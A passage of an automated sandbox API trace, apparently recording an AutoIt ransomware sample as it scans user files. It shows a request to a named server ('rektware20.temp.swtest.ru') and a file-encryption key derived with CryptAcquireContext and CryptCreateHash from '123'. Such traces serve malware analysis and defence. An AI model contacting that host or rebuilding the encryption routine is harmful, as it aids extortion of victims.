lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rfk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fk74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="74uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uAh.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ah.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.643] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.643] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.643] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.643] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.643] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.643] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.643] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.643] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.643] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0067.643] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.643] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.643] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.644] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.644] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.644] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.644] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.644] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.644] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.645] CloseHandle (hObject=0x0) returned 0 [0067.645] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.645] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0067.645] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.645] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.645] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.645] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.645] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.645] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.645] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.646] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.646] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.646] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.646] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.646] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.646] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.646] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.646] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.646] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.646] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.647] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.647] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.647] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaa28) returned 1 [0067.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.648] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.648] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.648] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.652] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.652] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.652] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.652] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.653] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.653] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.653] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.653] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.653] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.653] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.653] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.653] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.653] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.653] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.653] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.653] CryptCreateHash (in: hProv=0x17aaa28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.654] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.654] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.654] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.654] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.654] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, 